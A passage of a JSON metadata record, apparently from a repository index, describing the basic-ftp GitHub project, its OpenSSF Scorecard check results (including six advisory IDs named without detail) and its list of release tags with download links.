8.000Z","updated_at":"2026-08-16T22:03:13.000Z","dependencies_parsed_at":"2026-08-06T02:35:37.973Z","dependency_job_id":null,"html_url":"https://github.com/patrickjuchli/basic-ftp","commit_stats":{"total_commits":851,"total_committers":17,"mean_commits":50.05882352941177,"dds":"0.025851938895417148","last_synced_commit":"6deecaf9f3aa0312c92ee96389c405b79311e862"},"previous_names":[],"tags_count":117,"template":false,"template_full_name":null,"purl":"pkg:github/patrickjuchli/basic-ftp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/sbom","scorecard":{"id":722332,"data":{"date":"2025-08-11","repo":{"name":"github.com/patrickjuchli/basic-ftp","commit":"22e4bf0529352d2b439bf0d694dcf2db6ac8f661"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.4,"checks":[{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql-analysis.yml:28","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql-analysis.yml:29","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Warn: no topLevel permission defined: .github/workflows/nodejs.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:57: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/nodejs.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/nodejs.yml/master?enable=pin","Info:   0 out of   6 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: MIT License: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"SAST","score":7,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 0 commits out of 2 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":4,"reason":"6 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-grv7-fg5c-xmjg","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-952p-6rrq-rcjv","Warn: Project is vulnerable to: GHSA-mwcw-c2x4-8c55","Warn: Project is vulnerable to: GHSA-76p7-773f-r4q5"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T11:44:33.931Z","repository_id":41537176,"created_at":"2025-08-22T11:44:33.931Z","updated_at":"2025-08-22T11:44:33.931Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36790533,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-20T02:00:06.210Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"patrickjuchli","name":"Patrick Juchli","uuid":"397839","kind":"user","description":"","email":"","website":"https://patrickjuchli.com/en/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/397839?u=435f3c32b05790049a8b7b70449871fdf7304e9d\u0026v=4","repositories_count":11,"last_synced_at":"2024-03-21T09:48:16.358Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/patrickjuchli","funding_links":[],"total_stars":650,"followers":null,"following":null,"created_at":"2022-11-09T05:27:07.222Z","updated_at":"2024-03-21T09:48:18.553Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli/repositories"},"tags":[{"name":"v6.2.0","sha":"a825fdca3cd3895e0535726a473e143fc2755291","kind":"commit","published_at":"2026-08-02T08:00:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.2.0/manifests"},{"name":"v6.1.0","sha":"e025e1d826a9948afb23ed5e7cde438dc8bd1bcd","kind":"commit","published_at":"2026-08-01T16:39:50.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.1.0/manifests"},{"name":"v6.0.2","sha":"4d608b9116c8d2674728953fd9a3adfb1ddd7b03","kind":"commit","published_at":"2026-07-25T09:17:48.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.2/manifests"},{"name":"v6.0.1","sha":"aab681b95e665d4940b131a8d23e2ae11d93f38b","kind":"commit","published_at":"2026-05-03T08:43:49.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.1/manifests"},{"name":"v6.0.0","sha":"b35e76082ffa5e787ccb83be08589f1d73e75969","kind":"commit","published_at":"2026-04-29T14:32:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.0/manifests"},{"name":"v5.3.1","sha":"980371bb6057d78d479b5cfc18683392abd2c45f","kind":"commit","published_at":"2026-04-27T20:38:46.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.1/manifests"},{"name":"v5.3.0","sha":"c9378a8ff73b96e89f17525266d648ce495286a6","kind":"commit","published_at":"2026-04-15T19:35:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.0/manifests"},{"name":"v5.2.2","sha":"e9d09d6815b300b73e1297cdcf91786a979ef212","kind":"commit","published_at":"2026-04-09T21:20:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.2/manifests"},{"name":"v5.2.1","sha":"ba40f9d60e1ff7b63de5d5bb272ae317e5382689","kind":"commit","published_at":"2026-04-08T15:29:53.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.1/manifests"},{"name":"v5.2.0","sha":"5d41e45073ed1a8a3b5e5a1bbfcd131e61295bf8","kind":"commit","published_at":"2026-02-23T08:13:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.0/manifests"},{"name":"v5.1.0","sha":"9da4af0e1f82fe372bedc1b7820f55c6eaf012e5","kind":"commit","published_at":"2025-12-26T21:24:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.1.0/manifests"},{"name":"v5.0.5","sha":"1c92a9438704585a80aeaaad3e060382a35edad3","kind":"commit","published_at":"2024-02-27T21:05:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.5/manifests"},{"name":"v5.0.4","sha":"80e27be5dc562e5e18fcb2889e21d9568917dc1c","kind":"commit","published_at":"2023-12-13T19:58:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.4/manifests"},{"name":"v5.0.3","sha":"aa83d68f8958c4cc2684d35b2f6724afa5904adc","kind":"commit","published_at":"2023-05-05T08:12:17.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.3/manifests"},{"name":"v5.0.2","sha":"6deecaf9f3aa0312c92ee96389c405b79311e862","kind":"commit","published_at":"2022-09-01T10:52:41.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.2/manifests"},{"name":"v5.0.1","sha":"864f57e62fde72572f79509f81d976145815b82d","kind":"commit","published_at":"2022-07-21T09:24:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.1/manifests"},{"name":"v5.0.0","sha":"9bd6aa772524cef2800db5a71169130d18983e80","kind":"commit","published_at":"2022-07-16T07:38:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.0/manifests"},{"name":"4.6.6","sha":"80b805759413d023cc6fb0b9ae12d7d0fe8d5e27","kind":"commit","published_at":"2021-03-27T17:46:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/4.6.6","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/4.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@4.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/4.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/4.6.6/manifests"},{"name":"v4.6.5","sha":"27444603def5a4a89653e11e9c6089783bbf7c82","kind":"commit","published_at":"2021-03-26T19:49:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.5/manifests"},{"name":"v4.6.4","sha":"4db4f4ae4f81433adb429f241ec26e2e43797e87","kind":"commit","published_at":"2021-03-24T21:02:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.4/manifests"},{"name":"v4.6.3","sha":"8ed3c24e56706a52653d862e61b57340dcbcb4e9","kind":"commit","published_at":"2020-10-31T08:15:36.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.3/manifests"},{"name":"v4.6.2","sha":"7dc31f9a1a4dd6720606fcbf6fbf13916d928be0","kind":"commit","published_at":"2020-07-03T07:18:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.2/manifests"},{"name":"v4.6.1","sha":"026db49d2212d0d9e99321545ecc19e74b957807","kind":"commit","published_at":"2020-06-07T05:14:19.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.1/manifests"},{"name":"v4.6.0","sha":"3bfec5f56b1393e0f2f02f8b2cc4406513bd2a4c","kind":"commit","published_at":"2020-06-06T17:50:33.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.0/manifests"},{"name":"v4.5.4","sha":"2c6ba44a284f4a0a6a1f1df98b7bbd7d5d62fdb5","kind":"tag","published_at":"2020-03-22T10:15:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.4/manifests"},{"name":"v4.5.3","sha":"f3ede38f6f0cec7761fb0c7db81ac30b5c91a5ff","kind":"tag","published_at":"2020-01-14T17:36:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.3/manifests"},{"name":"v4.5.2","sha":"dad3d226ec8454840a40c41f14225b2161e97615","kind":"tag","published_at":"2019-12-26T18:01:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.2/manifests"},{"name":"v4.5.1","sha":"1acb581dcaddc17596e780fe04628f730cbe5656","kind":"tag","published_at":"2019-11-07T17:12:40.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.1/manifests"},{"name":"v4.5.0","sha":"1e8a8144e8f0721321beac443f4f545f8ab47276","kind":"tag","published_at":"2019-11-06T13:56:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.0","tag_url":"h